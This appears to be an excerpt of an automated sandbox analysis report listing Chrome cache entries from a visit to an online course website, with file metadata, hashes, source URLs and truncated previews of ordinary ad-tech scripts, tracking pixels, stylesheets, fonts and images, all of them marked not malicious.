Preview:	ChsKBw2QIhOtGgAKBw3LAvZiGgAKBw3G2sy5GgA=

Chrome Cache Entry: 804

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	379
Entropy (8bit):	5.944766380578619
Encrypted:	false
SSDEEP:	6:YVgLJ6IkkzOZyZQBB900vf0PR8Xo3YrGgUkxDue83Q330fXWoMri8afFmfAsCs6h:YKE6hQRiO4orPPqe83Q3kfXii82FRsCj
MD5:	159F1FE2978FE54125A286CEE3665368
SHA1:	2457666A6AE240CAFBF22602036CA6627A4AFD81
SHA-256:	98806D84A3B9FBEB29BCE54B94430BC908F85B0D1119028C30A5FDBBEC350AB1
SHA-512:	252C0B4DF151A56E086174F8CB2267DF7D628B5AA4FC4B2BCF7B1FB0D5603F88AEE0DDB98ECED09330B75833DA1BBA1C76EB56C101650471B97D1D15361F3C8D
Malicious:	false
Reputation:	low
URL:	https://imp-dev.mediavine.com/impkey?&bidder=yieldmo_s2s&cpm=0.866844&adId=21522c8b8d7eb62&sk=V1:X3Qzy0IfPu/f72kp:LirggY+1tsFYi9yECbHAPbKx3oaOhrGmuOwB2iPy3dnDuWnHgbaDyrsTo6qLZ72DJzuaBwguqFj/+A==
Preview:	{"hb":"V1:XiLwDHBreR8fZejt:0YCztzPEJJLeXniAUmuTAMBUdL1gcNVLx1sXh9vGJTL3n20OXDoxkJfu4XlS/gFNDzkwFQf6MZhtyhILtYJnr5m9K3Q/+y6rtLBJ/mF/","adx":"V1:gf0DOJ6zHsmBa+Yr:DL3JYCG2Dagc4cwRE1Aq5ZzLOl+ZoYMNorUgchuMTIOBkPcPeDhVmRrAQkg5EcF44imUUeNpNId4BO8K26MzjsgBxQJmHY64Ow==","unf":"V1:LWbvvVwlhbxgZNzF:MavT/qYwgkqiHCiFYeomQD0jcF8hK8ehdztmotAZL6186mpFxRK+qwlX/gMQGKHIuuoNHrF9Jwv68Axs46Gg9g=="}

Chrome Cache Entry: 805

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 806

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (13265), with no line terminators
Category:	downloaded
Size (bytes):	13265
Entropy (8bit):	5.535281711885961
Encrypted:	false
SSDEEP:	192:wo+127EbWf6h8yrGohbWfjD2D6iZ2j43pNbblahJtQblbQcwCU82NfmR:9TEbS+8rFjDOrU45NbblahzQBbJw9cR
MD5:	2ED4E4D44477A8F9A6EA4C990DD79D96
SHA1:	327825E486261CEB32519D02A8E79DA9051D262D
SHA-256:	F7F90B61F4DD55DE7311CCC80ADA5B8780413DBEFFE882C97C71AFE6B1CD4AC3
SHA-512:	DE86444B932E2B2BDF4F74A659F1324628D0815B768E636BC6805B5B1811DE396D24332B76CCFA5F3581A993391AEA264EB1E6FF0247053F4A7BB65C4EE19E6C
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/prebid/bd4b6908467a2163ab62.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[9598],{2619:(e,t,i)=>{i.r(t),i.d(t,{growProvidedIdSubmodule:()=>r});var a=i(6283),n=i(3915);const r={name:"growProvidedId",gvlid:Object.freeze({}),decode(e){const t=e?{pubProvidedId:e}:void 0;return(0,n.PN)("GrowProvidedId: Decoded value "+JSON.stringify(t)),t},getId(e){const t=e&&e.params\|\|{};let i=[];return Array.isArray(t.eids)&&(i=i.concat(t.eids)),"function"==typeof t.eidsFunction&&(i=i.concat(t.eidsFunction())),{id:i}}};(0,a.Bx)("userId",r)},1900:(e,t,i)=>{i.r(t),i.d(t,{S2SAdapter:()=>H});var a=i(2845),n=i(5990),r=i(3528),s=(e=>(e.https="https:",e.http="http:",e))(s\|\|{});var o=i(9879),d=i(5077),c=i(2946),l=i(5595),p=Object.defineProperty,u=Object.getOwnPropertySymbols,m=Object.prototype.hasOwnProperty,v=Object.prototype.propertyIsEnumerable,g=(e,t,i)=>t in e?p(e,t,{enumerable:!0,configurable:!0,writable:!0,value:i}):e[t]=i,h=(e,t)=>{for(var i in t\|\|(t={}))m.call(t,i)&&g(e,i,t[i]);if(u)for(var i of u(t))v.call(t,i)&

Chrome Cache Entry: 807

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47332)
Category:	downloaded
Size (bytes):	56981
Entropy (8bit):	5.034824510119281
Encrypted:	false
SSDEEP:	768:oiY9divug7rn9MNl0iAxw+dHYlItS404ScjcrQne24BdpnFx9yBqOkL:vY9dimg7EjNL
MD5:	705EA6D82C05FEE0E289E28120158C10
SHA1:	A49210C15232AD43F04977C9F5C24DE82449C189
SHA-256:	56EE3E445AFD11DEAA93A33F91CF56D1F274E1C5119C9B12911B31B1C069FC6E
SHA-512:	CC0A8B6AA188843D5E66846296E2829E23CBBD2EA68D8ECC36EB2BCB10538A3E344A191FD34D88A4F7F75BC3B2E67DBC803F39D683EEBEE0A7C9B4D2F8C33411
Malicious:	false
Reputation:	low
URL:	https://assets.thinkific.com/assets/custom_site_theme_required-56ee3e445afd11deaa93a33f91cf56d1f274e1c5119c9b12911b31b1c069fc6e.css
Preview:	@font-face{font-family:'thinkific';src:url(/assets/thinkific-62e574ca4606e179cab7eb4d0805356fa788bd1b3832babe8a00c401fc22e8ee.eot?wlgi69);src:url(/assets/thinkific-62e574ca4606e179cab7eb4d0805356fa788bd1b3832babe8a00c401fc22e8ee.eot?wlgi69#iefix) format("embedded-opentype"),url(/assets/thinkific-5ad852356bd62ca9200b1df0bf494ced860c51b93e90575747e67e4917e71601.woff2?wlgi69) format("woff2"),url(/assets/thinkific-92d324f9ea843f08f584074d10f87fb7073a595b0f72a66199de35b6d5eaf27f.ttf?wlgi69) format("truetype"),url(/assets/thinkific-7782de4d9dc5a41d0b6b618010643b760e7d881eb07749acf7ed294284ff9203.woff?wlgi69) format("woff"),url(/assets/thinkific-c9db5a7ddcead5768f9a2b1577748c312796f103e86af7aaab0c2c1fee934ea6.svg?wlgi69#thinkific) format("svg");font-weight:normal;font-style:normal}[class^="icon-"],[class*=" icon-"]{font-family:'thinkific' !important;speak:none;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx

Chrome Cache Entry: 808

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	downloaded
Size (bytes):	18716
Entropy (8bit):	7.966562515323273
Encrypted:	false
SSDEEP:	384:UiNkjaux95PHlc3feUl9ZfvBWseMWqA1V1L+YvV1TicYFDV64/0XOO:U7/95PSB/Zf5WseMWZ/oYvV1OBoN+O
MD5:	B1AF42D2F9E525AA7B64A1B860372077
SHA1:	1FA13736C2D7D1C428609D354963303F100B1D44
SHA-256:	979DA50097FB383C9207240077FE1AAD347BEC64667810CCCFB291A09871E00E
SHA-512:	96FEE2EBE5B37BA6A45602B9F60B087AB382BD383ABCCF80263869EBB8D1FB04A3D1463A77416ACC111505D6821FF8F196562203E6CB122982F81060B3F58694
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Power-BI-Advanced-1-480x304.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................Z...........................!1..AQ......"RTaq..2BDSVs..#56brt....$3CEU%&4c.......78du.....................................=.........................!1Q.....ARSq..."a.$245r#T..%B3bs..............?...@Nb..,Z}w\2...e..q..m5].%..D....u...IYX)n!..[.....7.w..._...9.Xl..].%..kKY..z.{...Q....V6...r...e)..).sR.3:8/..%jr.BA.XL..nr...qM....l\.E{..5L..n2T@H).XLd.E#...pT........g0..+..[...-RDbu.S\.)...A...R.....2 hX)@.H..(.$.9m.k.:\n.r....S5....L.#k..".@..R....\.nE..S.....T.N.h.X.....c[..o:.Ky.h.4O1......+....3...f.6.g.z.0...F..&..uEPl.R..j2...=)E...p.......J.G[..SMd...[$...jn.pA..me,Uuk.5.X96G...xu..5...s...TLp...]..\...S..Wz....%. .Z.(.Ze..0.v..$....n.p<P..yJ.n....%.)\l......r.^8.C..1...p.'..u.%N.yV..zr@{..J...)9D..l4j...vvI...V.}o+[....f..w....oZ..r.qJ

Chrome Cache Entry: 809

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5955)
Category:	downloaded
Size (bytes):	285625
Entropy (8bit):	5.572074219725438
Encrypted:	false
SSDEEP:	3072:FK4lghR+8bFtV8vWHsKC7XJw8jFGXmJxm3dVNzzYrWTrW3XkgYfR0u7RCRoa/3N:Y4yRp8+HsKS5SsSPNzzYrgrW34fRzRCX
MD5:	68A798CC0A4D94254020F8D370941878
SHA1:	588DB79B23E60059B91B75322D4E9A73B4493BA7
SHA-256:	9DE734BB97BDA0D4752FD91BCACBB5D4B0F3509D666450AD7128A6055D6A7966
SHA-512:	BE118A6DA8A0094CBB0E2569F8082CC4B6984E82F9CCCC0D65EC8003B6C328ED26C6D55D2445D708889781EF127B73303C91306B0BF890C65F2089F9F47AA69C
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-37L88V1J5W&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":14,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_email

Chrome Cache Entry: 810

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.200601260429725
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM09/Woz59tVp:6v/lhPfZM09tzjTp
MD5:	C4A2B870062C2BB98C500BC1526C0498
SHA1:	528666CCDB12997358077BC8FCDBFB6B825C7788
SHA-256:	2AA4FA20701CDD6D8D56046069001186B5267E3EE7D0EF618AD2F4A683723E11
SHA-512:	2F1A3ABCD12125F7EF18D61A960901C0FD6F82DD02EA2B8041859E6D5F0A7F08DB17CC110DC6D8A3F7D0D1BA790C4BCCA2506D3C60EDFEB5CB29433E9F4F762E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................IDATx.c`...............IEND.B`.

Chrome Cache Entry: 811

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (52990)
Category:	downloaded
Size (bytes):	53044
Entropy (8bit):	5.438374620694402
Encrypted:	false
SSDEEP:	768:Hcrbt0v6S3UbiINuGAIA0XieVpeB6ELQ1GHaLi9:HoBmM9e4E01GHa29
MD5:	0B6AA3AA07869D5163C8D489F7C66256
SHA1:	BD32C24DFC6C71AE54BF2E6473AD61FA6F81BE3B
SHA-256:	3D649C0B3E87FD6ABCB983656A0A1B3923A2A59885C3A30538641FD4F7126CBD
SHA-512:	D754CB423718F3BC335081D41A88386B58E2EB523635BD15773B43495064B52B0FBB9265DA8DD19E47A97CFAA1FABD40C73C36F9684F6C44F2A18E6502F44E88
Malicious:	false
Reputation:	low
URL:	https://acdn.adnxs.com/dmp/async_usersync.html
Preview:	<!DOCTYPE html>.<html>.<head>.</head>.<body>.<script type="text/javascript">!function(t){var e={};function a(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,a),i.l=!0,i.exports}a.m=t,a.c=e,a.d=function(t,e,n){a.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:n})},a.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},a.t=function(t,e){if(1&e&&(t=a(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(a.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)a.d(n,i,function(e){return t[e]}.bind(null,i));return n},a.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return a.d(e,"a",e),e},a.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},a.p="./",a(a.s=114)}({1:functi

Chrome Cache Entry: 812

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (24601)
Category:	downloaded
Size (bytes):	24782
Entropy (8bit):	5.003831500752687
Encrypted:	false
SSDEEP:	384:UtbqeUUy/oVBVkWODL8q4wBcqWS0zxwEHYX+YgLxW1vYWaN4uByF:yJJM4BnOXBuFHp5w1vCaF
MD5:	151E4DECE13AC73729937293D388F96B
SHA1:	2965EA03B973983AA01E7BE7865C1F969742D3FF
SHA-256:	60A11AA8AFF6983EA43C28B1741C1B73B4B1E696DB79D426F039B14572182E2F
SHA-512:	725666922E525FFF0FAFC2560FCE3C6BD27669285F320D84016073D6B7ECA6CE1A95937D450D6C6B933A60BE037E629E6BEA3C40D5D9C08713C886750A3CD47E
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/jquery/ui/sortable.min.js
Preview:	/!. jQuery UI Sortable 1.12.1. * http://jqueryui.com. . Copyright jQuery Foundation and other contributors. * Released under the MIT license.. * http://jquery.org/license. /.!function(t){"function"==typeof define&&define.amd?define(["jquery","./mouse","./core"],t):t(jQuery)}(function(u){return u.widget("ui.sortable",u.ui.mouse,{version:"1.12.1",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> ",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(t,e,i){return e<=t&&t<e+i},_isFloating:function(t){return/left\|right/.test(t.css("float"))\|\|/inline\|table-cell/.test(

Chrome Cache Entry: 813

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 189472, version 3.0
Category:	downloaded
Size (bytes):	189472
Entropy (8bit):	5.638641126549223
Encrypted:	false
SSDEEP:	3072:qAS+EkDdBfP7aivtdudQsbqrr2TFVhOZ7x1uVlK+O3EV6Rj:qAvEkPfP7a6tdudQsbKr0fhOZ7x1AM33
MD5:	D040139001FA2C6C02E032F60555F839
SHA1:	7E45D7CA56DBD3EE15BE159A2577081FAFDBB829
SHA-256:	E5D27D5BF0DEC4014F1B9EDCDC157F87BC00A83BFC54CF0D7F9721EDD1D0FF8B
SHA-512:	04F6EA5C6A9673AFEB153E45CC5011DB9E4EEE2C4555A9F541A7996CB16801B8C7A0BBD89996D7105F99950ABFB3948723952DD69E98DCF429689365745E7557
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/fonts/tutor.woff
Preview:	wOFF....... ................................OS/2.......`...`...dcmap...h...\...\.x.$gasp................glyf.......D...Db.d.head.......6...6..96hhea...H...$...$....hmtx...l..........IHloca...l..........O.maxp...p... ... ...pname......n...n....post....... ... ...............................3...................................@...<.....@...@............... .................................@............. .9.<......... ...;..................................................79..................79..................79...........f.......$...2654&#"....3.2654&#".......#"&54632...&77&'77'&77&'77.7&'77'&7..7&'77'&7..7''77''7..'77'&77.............4.c.....2.......................#!"&'..'..'..5.467>.7>.7>.3!.4&'..'..'..#!".......................3!267>.5..2..........+..........#"&'..'..'..=.#"&'..'..'..5467>.7>.7>.;.5467>.7>.7>.32.........3..................................................7................................................................................................................

Chrome Cache Entry: 814

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 2-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	172
Entropy (8bit):	5.89051759974696
Encrypted:	false
SSDEEP:	3:yionv//thPlclBpNgSaRWW/bFqfBxtcJpmqpj43+/DhTnA6h/JMqiDTjTiOO7dlK:6v/lhPKN2SaRJosBN4OLFA64qiDnTyuh
MD5:	5B2C20761A80C77F3C81558F3201EFC6
SHA1:	AB8890CF81CE149C5909570E8C725B779FB03B8A
SHA-256:	73CB91518C98A64D313704833206F4FECFF0309F31621A098A4E8165E3E00648
SHA-512:	C27817EFEAE980B0BCCE4562CDFA569FF9CAF5EBD48606E7F8C31CADE6C5F955394683DF20B33DDC3283A07507D2BBAA76B30DEA203444EF1C438E237A00AC73
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/images/cursor/light-close.png
Preview:	.PNG........IHDR................k....PLTE............8.;.....tRNS.`.PpX...LIDAT..-....!..r.c.va(.a4F"..H.b.&'=.6e.&.c%..!............,.~..v.9.E.5......C.gj.Af....IEND.B`.

Chrome Cache Entry: 815

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072954&val=AAAGUZPHx_YGKQMLezPtAAAAAAA&expiration=1712957258&nuid={OX_USER_ID}&is_secure=true
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 816

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 296 x 100, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5715
Entropy (8bit):	7.869885847394282
Encrypted:	false
SSDEEP:	96:wSPPQvTQZq7lb5nBYOlxWnxcvPqHRg0op5eN/q7FgxZeCtFnObfKEedce45gb62r:+bQQ95nmOlqxP1/Tx8CHkedce4ib6zy
MD5:	507589703EC0C072DA80113269CC7447
SHA1:	719F9F9DFDD062CD043246A3C5A95140456808A9
SHA-256:	AE7DDCC420080743B2D1E044CFFB7405309F85D1609D6E4DCBF2C4D500CEA13A
SHA-512:	8466BEA3C23DF0B3041F5A8C4B8E5E7F4170DF71A063D65A3028709983F82E9390ADB79412C63FB27147E270F1F82EF541384C77E670FA30160CF6309D19019C
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Earn-And-Excel-Logo-2-296x100.png
Preview:	.PNG........IHDR...(...d.....5.....IDATx...]h.q.....mv.<F.y.YF.C...Z.\H..;).v#..IZ...D....r!O.d%.i.y(..1{....;.......?O.w.n..>.}..o.RJ)..RJ)..RJ)..R...6.._VV...]Y.).(.T.c..1....%..m..@..\d....9.)l....k.....6..S....S`.R.a..xl.#t.;`...<.V.G.QJ..}c@5n...0.@Y...j..J)..;....w;H........F)..p.?.f....@Y!\|.q.![..R...q.....F<PV.M.E.2.RJ...T4..<..e...va...J...i..Q.?p.......A...SJ....r\@+\.....p...g.R.....2..<..y.,..q..uHWMbH2Q..x.~;0.4P...G0G..(..yw.q....aI......{0Y.t.R$o..X.z....D.eu.>..HC.T...S.q..p.&.@Y.5(.}J.$.3.C.>.....(....,......<{.G...x.......Q..R.PUUU.&.........I......e....P.WgT<c...)......h.....=...4.(....]O..x. .@.\.H..b.r.........@;.Q.\|3D.....cQ..!.(....T9..&...(..........(h.t...<P...(....z......Q..F).T.....>.T.z5PU.@.f..4#..>.....;.4P..@Ew....y,.(.}....`.....8.T?z#..3.R...../..Z.F.8.T..Fa....N.....7.;0...{..E.E..B.F..a\|.A.r..<d#...A>.x....4P~.T..a+.....2^.P.P.zt.<P]......D,.6..i\.=<.m\A.[P.....e.C8.3....(.......I .Hb.A..(.............G.e..a..

Chrome Cache Entry: 817

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	125232
Entropy (8bit):	4.7409064256981175
Encrypted:	false
SSDEEP:	3072:/ll00DMHi8fC/s7sS744jkSJlRgFLER7a83NsynBN:/8ZMk
MD5:	B1C107AC9BAA22446232459A53C1C8F7
SHA1:	EBD5EE5810DCE9854659D2751293A703327E9915
SHA-256:	D161C04FB2450F60756E8BBE6F5F883A94204C85A24318F35438517E44461741
SHA-512:	56207609C749A6D2E55E7AA56D6513A0215A64D272D707072D4CD0059F306B3EBB0FB4961E5D1ACF8428919115D2E7FECC616A8F8C4EC8662F41F552F7FF1D20
Malicious:	false
Reputation:	low
Preview:	{"mostPopularPages":{"edges":[{"node":{"__typename":"Page","id":"UGFnZTpkMmRlYzFiNS00YWNhLTQ2OTUtYmJmOC1jZTNmYTY3ZTQwZTM=","title":"Skills For Professionals","url":"https://earnandexcel.com/","description":"Start to success Learn Skills That Will Make You Invaluable To Your Company Let experienced professionals pass on their skills and knowledge to you as you become your team.s MVP with our courses in Excel, Data Analysis, Business Intelligence, Microsoft Office , Data Science, Accounting, Digital Marketing & More! Search for: Search Most Popular Courses All Excel Premium Digital Marketing Accounting Office Data Science DA & BI All Excel Premium Digital Marketing Accounting Office Data Science DA & BI Let Us Help Finding Your Right Courses Get started Start to success Achieve Your Goals with Earn And Excel 1 + Students Enrolled 1 Classes Completed 0 % Learners report career benefits 0 + Courses from top instructors Some Of The Companies Our Students Work At Start Learning Testimonial

Chrome Cache Entry: 818

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (25893), with no line terminators
Category:	downloaded
Size (bytes):	25893
Entropy (8bit):	5.405106022586973
Encrypted:	false
SSDEEP:	384:s4f0OQ68LHc896TuTyCbM7+escmGC5voQD0Rn2+h6NpVXtOT8ykpUJG51:hw6iTyCbnDeCPpVXE8PGJy1
MD5:	A573E0323F255D4FF82173D608F94309
SHA1:	6FEE3EBAD7CDEBA642B491082413EE50BB8507E7
SHA-256:	97F03AA7DE4112351586ED0089FBD8D2C1B14F3031346B70C130D07B488B0E8B
SHA-512:	E12B72DC79504A7CB881A5617ED2AE8C60D0D76313058B8B1E6E3E5EEE97B6E1499B05618BE1C852FAAD0E613DBA99FADF95D89B92A2A6C0D9E1B0D095CD212C
Malicious:	false
Reputation:	low
URL:	https://widget.wickedreports.com/widget.js
Preview:	!function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)n.d(r,i,function(t){return e[t]}.bind(null,i));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="/",n(n.s=96)}({165:function(e,t,n){"use strict";function r(e,t){for(var n=0;n<t.length;n++){var r=t[n

Chrome Cache Entry: 819

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2937)
Category:	downloaded
Size (bytes):	219640
Entropy (8bit):	5.418579303404238
Encrypted:	false
SSDEEP:	6144:edeHmsZc3jmKWXmEUpxCBCRE9MuiclJjUHHR:FG05uylJoR
MD5:	CF0E3C9613FE6982F227A1010C1EF92D
SHA1:	05322EC25A457A88A81EA8FA73C655D6DD50AF0F
SHA-256:	D6D0CDD93A3211B3770F16ED7A3A70CFE1AA1FD67F50F50BF64A1014ABE9EFB3
SHA-512:	871DF094EAFBB0C7CB0E7190B3586A68F9353702EA105DC348F703F9DCC537A4CCF1E38F9CE7DC34FF118D0C71899192F2C95911D379A42E760054ABD0D968EB
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/managed/js/activeview/current/ufs_web_display.js
Preview:	(function(){var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");},da=.ca(this),q=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.q("Symbol",function(a){if(a)return a;var b=function(f,g){this.eh=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.eh};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e

Chrome Cache Entry: 820

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=137711&s=137812&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D58%263pid%3D&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 821

Download File

